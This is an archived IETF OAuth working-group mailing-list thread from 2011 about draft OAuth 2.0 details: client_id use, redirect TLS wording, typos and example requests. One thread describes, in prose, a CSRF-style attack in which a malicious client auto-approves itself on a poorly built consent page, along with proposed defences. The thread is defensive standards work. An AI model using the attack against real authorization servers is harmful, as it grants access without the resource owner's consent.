AM > To: Eran Hammer-Lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and > identification >=20 > I'm asking from both an implementation perspective as well as the spec > perspective. >=20 > On the spec side, draft-ietf-oauth-assertions will deal with client_id an= d > while it's currently required I'd guess it will become optional or even > forbidden. Can't help with this one. > On the implementation side, let me make sure I understand. Clients witho= ut > a secret must present client_id on token endpoint requests and > must use only that method of identifying themselves? HTTP Basic and > other means of client authentication are reserved for clients that actual= ly > have some secret to authenticate with? The client_id is currently only defined for password authentication on the = token endpoint. If you are using Basic or any other form of authentication = (or no authentication at all), you are not going to use the client_id param= eter. EHL >=20 >=20 > On Mon, Jul 25, 2011 at 10:50 AM, Eran Hammer-Lahav > wrote: > > It shouldn't. You are still allowed to reuse client_id outside the spec= ific > password credentials use case. Just make sure the way the parameter is > defined in v2 is consistent. > > > > EHL > > > >> -----Original Message----- > >> From: Brian Campbell [mailto:bcampbell@pingidentity.com] > >> Sent: Monday, July 25, 2011 9:28 AM > >> To: Eran Hammer-Lahav > >> Cc: oauth > >> Subject: Re: [OAUTH-WG] treatment of client_id for authentication and > >> identification > >> > >> How should HTTP Basic be used for a client not in possession of a > >> client secret? > >> > >> > >> > >> On Mon, Jul 25, 2011 at 10:25 AM, Eran Hammer-Lahav > >> wrote: > >> > client_id is only required on the authorization endpoint, not the > >> > token > >> endpoint. -18 cleaned up how the document talked about client > >> authentication in general. So you should remove client_id from your > >> draft and instead mention client authentication (if appropriate). > >> > > >> > EHL > >> > > >> >> -----Original Message----- > >> >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On > >> >> Behalf Of Brian Campbell > >> >> Sent: Monday, July 25, 2011 7:02 AM > >> >> To: oauth > >> >> Subject: [OAUTH-WG] treatment of client_id for authentication and > >> >> identification > >> >> > >> >> I need to revisit a question that came up about two months ago. =A0= I > >> >> thought I had a clear understanding of when client_id was and > >> >> wasn't included in access token requests but drafts 18/19 seemed > >> >> to have changed things (or my understanding of 16 was wrong). > >> >> > >> >> > >> >> The question is, when is client_id a required parameter on > >> >> requests to the token endpoint and when can/should it be omitted? > >> >> > >> >> In -16 I was under the impression that client_id was always to be > >> >> included even when using HTTP Basic or other means of > authentication. > >> >> See http://tools.ietf.org/html/draft-ietf-oauth-v2-16#section-3.1 > >> >> and > >> >> http://www.ietf.org/mail-archive/web/oauth/current/msg06328.html > for example. > >> >> > >> >> But the text and examples in -18/-19 would suggest that client_id > >> >> is to be omitted when using HTTP Basic. =A0Text in > >> >> http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-2.4.1 > >> >> and example in > >> >> http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-4.1.3 > >> >> > >> >> I don't have a strong preference for either direction but do feel > >> >> it needs to be more explicitly spelled out. =A0Scenarios that shoul= d > >> >> be accounted for are, for both clients in possession of a client > >> >> password and clients without, using client_id/client_secret, using > >> >> HTTP Basic and using other means of authentication/identification. > >> >> _______________________________________________ > >> >> OAuth mailing list > >> >> OAuth@ietf.org > >> >> https://www.ietf.org/mailman/listinfo/oauth > >> > > > From eran@hueniverse.com Mon Jul 25 15:20:52 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2631F21F8BDE for ; Mon, 25 Jul 2011 15:20:52 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.556 X-Spam-Level: X-Spam-Status: No, score=-2.556 tagged_above=-999 required=5 tests=[AWL=0.043, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Ji0OmUNhazjQ for ; Mon, 25 Jul 2011 15:20:51 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 9D61C21F8BD9 for ; Mon, 25 Jul 2011 15:20:51 -0700 (PDT) Received: (qmail 9733 invoked from network); 25 Jul 2011 22:20:51 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 22:20:51 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 25 Jul 2011 15:20:44 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt Date: Mon, 25 Jul 2011 15:20:07 -0700 Thread-Topic: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) Thread-Index: AcxK8Au+9LyaBH5fSCyFJsbpbymLFwAKNZSw Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F58E1@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E274554.5070606@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F378BC@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2D7B3F.10001@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E723450245F574F@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2DA756.8010400@lodderstedt.net> In-Reply-To: <4E2DA756.8010400@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 22:20:52 -0000 Since these issues are covered in the security section, I think it is enoug= h to simply stress the importance of using TLS for the redirection endpoint= and leave the more detailed analysis for later in the document. But if you want to propose new text, I'm open to it. EHL > -----Original Message----- > From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net] > Sent: Monday, July 25, 2011 10:27 AM > To: Eran Hammer-Lahav > Cc: OAuth WG > Subject: Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) >=20 > Hi Eran, >=20 > >> Regarding this particular section: I think the two different issues > >> (transport security and endpoint authenticity) should be presented > separately. > > Which section? >=20 > 3.1.2.1. >=20 > regards, > Torsten. >=20 > > EHL From nivstein@gmail.com Mon Jul 25 15:28:18 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id C48D211E80CF for ; Mon, 25 Jul 2011 15:28:18 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.598 X-Spam-Level: X-Spam-Status: No, score=-3.598 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id O3ZLWm6anHF0 for ; Mon, 25 Jul 2011 15:28:17 -0700 (PDT) Received: from mail-vw0-f44.google.com (mail-vw0-f44.google.com [209.85.212.44]) by ietfa.amsl.com (Postfix) with ESMTP id 9076611E80C7 for ; Mon, 25 Jul 2011 15:28:17 -0700 (PDT) Received: by vws12 with SMTP id 12so4140970vws.31 for ; Mon, 25 Jul 2011 15:28:17 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; bh=JtjcDmd+R7bBljgCGS9C+JpuWpEwG6R6tgEBxNYqOJ4=; b=iS/hZKGinz+FzMxEuhHPi5oSn0OqcZOTBvN4dDoDEUuL1E6/DpQRAhngFcsGfMbb2o zSovqkCdLuE/Rl8VqB6uaF2MNAF1Ud18EZoHmwvtEQiBNyaTZLYqZVG3dXFoP6zko7Aw qLkqePyzhJ/nF59RdLvxJxe2+4vX9xfbzhXDA= Received: by 10.52.76.105 with SMTP id j9mr5153754vdw.220.1311632897097; Mon, 25 Jul 2011 15:28:17 -0700 (PDT) MIME-Version: 1.0 Received: by 10.52.107.99 with HTTP; Mon, 25 Jul 2011 15:27:57 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E723450245F58E6@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E723450245F58E6@P3PW5EX1MB01.EX1.SECURESERVER.NET> From: Niv Steingarten Date: Tue, 26 Jul 2011 01:27:57 +0300 Message-ID: To: oauth@ietf.org Content-Type: multipart/alternative; boundary=bcaec5014df9e840ef04a8ec546f Subject: [OAUTH-WG] Fwd: Several typos in -20 and a possible security consideration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 22:31:28 -0000 --bcaec5014df9e840ef04a8ec546f Content-Type: text/plain; charset=UTF-8 Forwarded as per Eran's request. A couple of corrections to my original email: 1. By AJAX, I mean, AJAX like techniques (if the user agent does not enforce same origin policy). 2. When saying POST to '/authorize_callback' -- it may well be GET, if the authorization server mishandles the request. Thank you, Niv ---------- Forwarded message ---------- From: Eran Hammer-Lahav Date: Tue, Jul 26, 2011 at 01:21 Subject: RE: Several typos in -20 and a possible security consideration To: Niv Steingarten Please forward this message to the oauth list at oauth@ieft.org.**** ** ** Thanks,**** ** ** EHL**** ** ** *From:* Niv Steingarten [mailto:nivstein@gmail.com] *Sent:* Monday, July 25, 2011 2:52 PM *To:* draft-ietf-oauth-v2@tools.ietf.org *Subject:* Several typos in -20 and a possible security consideration**** ** ** Hello,**** ** ** I've noticed a couple of typos in -20:**** ** ** Section 6 (page 41): Under 'The authorization server MUST', the second bullet should end with the word "and", and the third bullet should end with a full-stop.**** Section 10.2 (first paragraph): "...keep is client credentials confidential" should be "...keep *its* client credentials confidential".**** ** ** Regarding the security consideration --**** ** ** I might be missing something, but I saw there are references to clickjacking and to client impersonation, but I haven't seen any reference to possible resource owner impersonation.**** For example, in the implicit grant flow, a malicious client could send a request to the authorization endpoint via, say, AJAX, and receive the markup of the page asking the resource owner to authorize the client (assuming the resource owner is signed in and no resource owner authentication is required). Then, in a poorly designed authorization endpoint, the 'Allow' button might be the submission button of a form whose target is '/authorize_callback' on the authz server. Then, it may possible for the malicious client to simply POST to '/authorize_callback' and authorize itself without any resource owner intervention or knowledge that the process has even taken place. This, of course, can be mitigated in most modern browsers if the authorization server verifies the source of the request using the HTTP referrer header.**** ** ** Thanks for your time and for the fantastic work on OAuth,**** ** ** -- **** *Niv Steingarten***** ** ** T: E: nivstein@gmail.com**** W: http://nivstein.com**** ** ** -- *Niv Steingarten* *** * T: E: nivstein@gmail.com W: http://nivstein.com --bcaec5014df9e840ef04a8ec546f Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable
Forwarded as per Eran's request.

A = couple of corrections to my original email:

1. By = AJAX, I mean, AJAX like techniques (if the user agent does not enforce same= origin policy).
2. When saying POST to '/authorize_callback' -- it may well be= GET, if the authorization server mishandles the request.

Thank you,

Niv



---------- Forwarded message ----------<= br>From: Eran Hammer-Lahav <eran@hueniverse.com><= /span>
Date: Tue, Jul 26, 2011 at 01:21
Subject: RE: Several typos in -20 and a= possible security consideration
To: Niv Steingarten <nivstein@gmail.com>


= Please forward this message to the oauth list at oauth@ieft.org.

=C2=A0<= /p>

Th= anks,

=C2=A0

EHL

=C2=A0

Fr= om: Niv Steingarten [mailto:nivstein@gmail.com= ]
Sent: Monday, July 25, 2011 2:52 PM
To: draft-ietf-oauth-v2@t= ools.ietf.org
Subject: Several typos in -20 and a possible se= curity consideration

=C2=A0

Hello,

=

=C2=A0

I've noticed a couple of typos in -20:

=C2=A0

Section 6 (page 41): Under 'The authorization server M= UST', the second bullet should end with the word "and", and t= he third bullet should end with a full-stop.

Section 10.2 (first paragraph): "...= keep is client credentials confidential" should be "...keep *its*= client credentials confidential".

=C2=A0

Regarding the sec= urity consideration --

<= u>=C2=A0

I might be missing= something, but I saw there are references to clickjacking and to client im= personation, but I haven't seen any reference to possible resource owne= r impersonation.

For example, in the implicit grant flow, = a malicious client could send a request to the authorization endpoint via, = say, AJAX, and receive the markup of the page asking the resource owner to = authorize the client (assuming the resource owner is signed in and no resou= rce owner authentication is required). Then, in a poorly designed authoriza= tion endpoint, the 'Allow' button might be the submission button of= a form whose target is '/authorize_callback' on the authz server. = Then, it may possible for the malicious client to simply POST to '/auth= orize_callback' and authorize itself without any resource owner interve= ntion or knowledge that the process has even taken place.=C2=A0This, of cou= rse, can be mitigated in most modern browsers if the authorization server v= erifies the source of the request using the HTTP referrer header.=

=C2=A0

Thanks for your time and for the fantastic work on OAuth,<= u>

=C2=A0

=


--

Niv Steingarten

=C2=A0

T:

=C2=A0




--
Niv Stei= ngarten
--bcaec5014df9e840ef04a8ec546f-- From torsten@lodderstedt.net Mon Jul 25 16:10:21 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6E07521F86D8 for ; Mon, 25 Jul 2011 16:10:21 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.248 X-Spam-Level: X-Spam-Status: No, score=-2.248 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id P7BBNNIQndBD for ; Mon, 25 Jul 2011 16:10:20 -0700 (PDT) Received: from smtprelay01.ispgateway.de (smtprelay01.ispgateway.de [80.67.18.13]) by ietfa.amsl.com (Postfix) with ESMTP id 06A4721F86D7 for ; Mon, 25 Jul 2011 16:10:19 -0700 (PDT) Received: from [70.25.120.2] (helo=[10.255.254.219]) by smtprelay01.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QlUHw-0003vo-Gv; Tue, 26 Jul 2011 01:10:17 +0200 Message-ID: <4E2DF7D5.8090701@lodderstedt.net> Date: Mon, 25 Jul 2011 19:10:13 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: Niv Steingarten References: <90C41DD21FB7C64BB94121FBBC2E723450245F58E6@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Content-Type: multipart/alternative; boundary="------------010603080006090904080807" X-Df-Sender: torsten@lodderstedt-online.de Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] Fwd: Several typos in -20 and a possible security consideration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 23:10:21 -0000 This is a multi-part message in MIME format. --------------010603080006090904080807 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Hi Niv, thank you for posting this to the list. I think you are right with your threat description. One question: shouldn't the browser already prevent the request to the authorization endpoint because of the same origin policy (or CORS restrictions)? Apart from that, a similar attack can be performed by a native applicication (using an embedded browser). This kind of attack could not be prevented using HTTP features but by enforcing a real user interaction (password input, CAPTCHA). regards, Torsten. Am 25.07.2011 18:27, schrieb Niv Steingarten: > Forwarded as per Eran's request. > > A couple of corrections to my original email: > > 1. By AJAX, I mean, AJAX like techniques (if the user agent does not > enforce same origin policy). > 2. When saying POST to '/authorize_callback' -- it may well be GET, if > the authorization server mishandles the request. > > Thank you, > > Niv > > > > ---------- Forwarded message ---------- > From: *Eran Hammer-Lahav* > > Date: Tue, Jul 26, 2011 at 01:21 > Subject: RE: Several typos in -20 and a possible security consideration > To: Niv Steingarten > > > > Please forward this message to the oauth list at oauth@ieft.org > . > > Thanks, > > EHL > > *From:*Niv Steingarten [mailto:nivstein@gmail.com > ] > *Sent:* Monday, July 25, 2011 2:52 PM > *To:* draft-ietf-oauth-v2@tools.ietf.org > > *Subject:* Several typos in -20 and a possible security consideration > > Hello, > > I've noticed a couple of typos in -20: > > Section 6 (page 41): Under 'The authorization server MUST', the second > bullet should end with the word "and", and the third bullet should end > with a full-stop. > > Section 10.2 (first paragraph): "...keep is client credentials > confidential" should be "...keep *its* client credentials confidential". > > Regarding the security consideration -- > > I might be missing something, but I saw there are references to > clickjacking and to client impersonation, but I haven't seen any > reference to possible resource owner impersonation. > > For example, in the implicit grant flow, a malicious client could send > a request to the authorization endpoint via, say, AJAX, and receive > the markup of the page asking the resource owner to authorize the > client (assuming the resource owner is signed in and no resource owner > authentication is required). Then, in a poorly designed authorization > endpoint, the 'Allow' button might be the submission button of a form > whose target is '/authorize_callback' on the authz server. Then, it > may possible for the malicious client to simply POST to > '/authorize_callback' and authorize itself without any resource owner > intervention or knowledge that the process has even taken place. This, > of course, can be mitigated in most modern browsers if the > authorization server verifies the source of the request using the HTTP > referrer header. > > Thanks for your time and for the fantastic work on OAuth, > > > -- > > *Niv Steingarten* > > T: > > E: nivstein@gmail.com > > W:http://nivstein.com > > > > > -- > *Niv Steingarten* > * > * > T: > E: nivstein@gmail.com > W:http://nivstein.com > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth --------------010603080006090904080807 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: 8bit Hi Niv,

thank you for posting this to the list. I think you are right with your threat description. One question: shouldn't the browser already prevent the request to the authorization endpoint because of the same origin policy (or CORS restrictions)?

Apart from that, a similar attack can be performed by a native applicication (using an embedded browser). This kind of attack could not be prevented using HTTP features but by enforcing a real user interaction (password input, CAPTCHA).

regards,
Torsten.

Am 25.07.2011 18:27, schrieb Niv Steingarten:
Forwarded as per Eran's request.

A couple of corrections to my original email:

1. By AJAX, I mean, AJAX like techniques (if the user agent does not enforce same origin policy).
2. When saying POST to '/authorize_callback' -- it may well be GET, if the authorization server mishandles the request.

Thank you,

Niv



---------- Forwarded message ----------
From: Eran Hammer-Lahav <eran@hueniverse.com>
Date: Tue, Jul 26, 2011 at 01:21
Subject: RE: Several typos in -20 and a possible security consideration
To: Niv Steingarten <nivstein@gmail.com>


Please forward this message to the oauth list at oauth@ieft.org.

 

Thanks,

 

EHL

 

From: Niv Steingarten [mailto:nivstein@gmail.com]
Sent: Monday, July 25, 2011 2:52 PM
To: draft-ietf-oauth-v2@tools.ietf.org
Subject: Several typos in -20 and a possible security consideration

 

Hello,

 

I've noticed a couple of typos in -20:

 

Section 6 (page 41): Under 'The authorization server MUST', the second bullet should end with the word "and", and the third bullet should end with a full-stop.

Section 10.2 (first paragraph): "...keep is client credentials confidential" should be "...keep *its* client credentials confidential".

 

Regarding the security consideration --

 

I might be missing something, but I saw there are references to clickjacking and to client impersonation, but I haven't seen any reference to possible resource owner impersonation.

For example, in the implicit grant flow, a malicious client could send a request to the authorization endpoint via, say, AJAX, and receive the markup of the page asking the resource owner to authorize the client (assuming the resource owner is signed in and no resource owner authentication is required). Then, in a poorly designed authorization endpoint, the 'Allow' button might be the submission button of a form whose target is '/authorize_callback' on the authz server. Then, it may possible for the malicious client to simply POST to '/authorize_callback' and authorize itself without any resource owner intervention or knowledge that the process has even taken place. This, of course, can be mitigated in most modern browsers if the authorization server verifies the source of the request using the HTTP referrer header.

 

Thanks for your time and for the fantastic work on OAuth,

 


--

Niv Steingarten

 




--
Niv Steingarten 


_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
--------------010603080006090904080807-- From nivstein@gmail.com Mon Jul 25 16:41:00 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id CA0E911E80D7 for ; Mon, 25 Jul 2011 16:41:00 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.5 X-Spam-Level: X-Spam-Status: No, score=-3.5 tagged_above=-999 required=5 tests=[AWL=0.099, BAYES_00=-2.599, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Le1vNPdS9kvv for ; Mon, 25 Jul 2011 16:40:59 -0700 (PDT) Received: from mail-vw0-f44.google.com (mail-vw0-f44.google.com [209.85.212.44]) by ietfa.amsl.com (Postfix) with ESMTP id AC26311E80B1 for ; Mon, 25 Jul 2011 16:40:59 -0700 (PDT) Received: by vws12 with SMTP id 12so4178231vws.31 for ; Mon, 25 Jul 2011 16:40:59 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type:content-transfer-encoding; bh=FEbpPZnG2FILMdbLsvz1u8cm6Ef58VHQ7vXIG5fgBZk=; b=uLEpInMqod7UiDdIxhqyg+kxbf/5AM0Z/CqAdY+7kitnR0MBcVob1unZKYGBiChSUl iTpvPPrWy9NGv4Yn8hCjLFlL2nEbGXxqicsfOPxHTVxdftzDolx5fPQv2XH1lq2BfT1+ ABkyIw5kw/Pggi/xogHWC5Q5dtknfgEco3+Ls= Received: by 10.52.173.235 with SMTP id bn11mr5233573vdc.19.1311637259117; Mon, 25 Jul 2011 16:40:59 -0700 (PDT) MIME-Version: 1.0 Received: by 10.52.107.99 with HTTP; Mon, 25 Jul 2011 16:40:39 -0700 (PDT) In-Reply-To: <4E2DF7D5.8090701@lodderstedt.net> References: <90C41DD21FB7C64BB94121FBBC2E723450245F58E6@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2DF7D5.8090701@lodderstedt.net> From: Niv Steingarten Date: Tue, 26 Jul 2011 02:40:39 +0300 Message-ID: To: Torsten Lodderstedt Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: OAuth WG Subject: Re: [OAUTH-WG] Fwd: Several typos in -20 and a possible security consideration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 23:41:00 -0000 Yes, I believe the vast majority of user-agents would block this kind of request if it originated from a JavaScript XMLHttpRequest or such. However, there are still scenarios in which a user-agent based client could manipulate this vulnerability. For example, the client could launch the GET request to the authorization server via an HTML tag, taking the form of a CSRF. Since it's a blind attack, the client would likely not receive the contents of the web-page. However, this request is still necessary from the client since it has the side-effect of creating an access token (or other temporary token) on the authorization server. Since it is highly likely that a malicious client has a priori knowledge of the structure of the authorization page and form, it does not need the response in order to advance to the next step, and can simply send the fake request to 'Allow' itself to access the resource owner's resources. I believe this attack could be made very hard by either including a CAPTCHA, as you suggested, or including some kind of token or nonce in the submission of the form (which would still not prevent the attack if the authorization server doesn't enforce same origin policy). Niv On Tue, Jul 26, 2011 at 02:10, Torsten Lodderstedt wrote: > > Hi Niv, > > thank you for posting this to the list. I think you are right with your t= hreat description. One question: shouldn't the browser already prevent the = request to the authorization endpoint because of the same origin policy (or= CORS restrictions)? > > Apart from that, a similar attack can be performed by a native applicicat= ion (using an embedded browser). This kind of attack could not be prevented= using HTTP features but by enforcing a real user interaction (password inp= ut, CAPTCHA). > > regards, > Torsten. > > Am 25.07.2011 18:27, schrieb Niv Steingarten: > > Forwarded as per Eran's request. > A couple of corrections to my original email: > 1. By AJAX, I mean, AJAX like techniques (if the user agent does not enfo= rce same origin policy). > 2. When saying POST to '/authorize_callback' -- it may well be GET, if th= e authorization server mishandles the request. > Thank you, > Niv > > > ---------- Forwarded message ---------- > From: Eran Hammer-Lahav > Date: Tue, Jul 26, 2011 at 01:21 > Subject: RE: Several typos in -20 and a possible security consideration > To: Niv Steingarten > > > Please forward this message to the oauth list at oauth@ieft.org. > > > > Thanks, > > > > EHL > > > > From: Niv Steingarten [mailto:nivstein@gmail.com] > Sent: Monday, July 25, 2011 2:52 PM > To: draft-ietf-oauth-v2@tools.ietf.org > Subject: Several typos in -20 and a possible security consideration > > > > Hello, > > > > I've noticed a couple of typos in -20: > > > > Section 6 (page 41): Under 'The authorization server MUST', the second bu= llet should end with the word "and", and the third bullet should end with a= full-stop. > > Section 10.2 (first paragraph): "...keep is client credentials confidenti= al" should be "...keep *its* client credentials confidential". > > > > Regarding the security consideration -- > > > > I might be missing something, but I saw there are references to clickjack= ing and to client impersonation, but I haven't seen any reference to possib= le resource owner impersonation. > > For example, in the implicit grant flow, a malicious client could send a = request to the authorization endpoint via, say, AJAX, and receive the marku= p of the page asking the resource owner to authorize the client (assuming t= he resource owner is signed in and no resource owner authentication is requ= ired). Then, in a poorly designed authorization endpoint, the 'Allow' butto= n might be the submission button of a form whose target is '/authorize_call= back' on the authz server. Then, it may possible for the malicious client t= o simply POST to '/authorize_callback' and authorize itself without any res= ource owner intervention or knowledge that the process has even taken place= .=C2=A0This, of course, can be mitigated in most modern browsers if the aut= horization server verifies the source of the request using the HTTP referre= r header. > > > > Thanks for your time and for the fantastic work on OAuth, > > > > -- > > Niv Steingarten > > > > T: > > E:=C2=A0 nivstein@gmail.com > > W:=C2=A0http://nivstein.com > > > > > -- > Niv Steingarten > T: > E:=C2=A0 nivstein@gmail.com > W:=C2=A0http://nivstein.com > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From Michael.Jones@microsoft.com Mon Jul 25 21:27:35 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D96FC11E8072 for ; Mon, 25 Jul 2011 21:27:35 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -10.506 X-Spam-Level: X-Spam-Status: No, score=-10.506 tagged_above=-999 required=5 tests=[AWL=0.092, BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id nZzweXoe2aB3 for ; Mon, 25 Jul 2011 21:27:35 -0700 (PDT) Received: from smtp.microsoft.com (smtp.microsoft.com [131.107.115.214]) by ietfa.amsl.com (Postfix) with ESMTP id 0B20922800F for ; Mon, 25 Jul 2011 21:27:35 -0700 (PDT) Received: from TK5EX14HUBC106.redmond.corp.microsoft.com (157.54.80.61) by TK5-EXGWY-E803.partners.extranet.microsoft.com (10.251.56.169) with Microsoft SMTP Server (TLS) id 8.2.176.0; Mon, 25 Jul 2011 21:27:34 -0700 Received: from TK5EX14MBXC207.redmond.corp.microsoft.com ([169.254.7.174]) by TK5EX14HUBC106.redmond.corp.microsoft.com ([157.54.80.61]) with mapi id 14.01.0323.002; Mon, 25 Jul 2011 21:27:34 -0700 From: Mike Jones To: "oauth@ietf.org" Thread-Topic: Extra "Authorization: Basic" lines in examples Thread-Index: AcxLTFA0Z4eHMpLuQm277UVh4Gql/g== Date: Tue, 26 Jul 2011 04:27:33 +0000 Message-ID: <4E1F6AAD24975D4BA5B16804296739434985C1B5@TK5EX14MBXC207.redmond.corp.microsoft.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.34] Content-Type: multipart/alternative; boundary="_000_4E1F6AAD24975D4BA5B16804296739434985C1B5TK5EX14MBXC207r_" MIME-Version: 1.0 Subject: [OAUTH-WG] Extra "Authorization: Basic" lines in examples X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jul 2011 04:27:36 -0000 --_000_4E1F6AAD24975D4BA5B16804296739434985C1B5TK5EX14MBXC207r_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable In sections 4.1.3, 4.3.2, 4.4.2, and 6 of draft -20, the examples contain b= oth the line "Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW" and creden= tials in the post body. For instance, the example from 4.3.2 is: POST /token HTTP/1.1 Host: server.example.com Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW Content-Type: application/x-www-form-urlencoded;charset=3DUTF-8 grant_type=3Dpassword&username=3Djohndoe&password=3DA3ddj3w I believe that the "Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW" line= should be deleted from all of these examples, as you either use Basic or c= redentials in the post body, but not both. Thanks, -- Mike --_000_4E1F6AAD24975D4BA5B16804296739434985C1B5TK5EX14MBXC207r_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

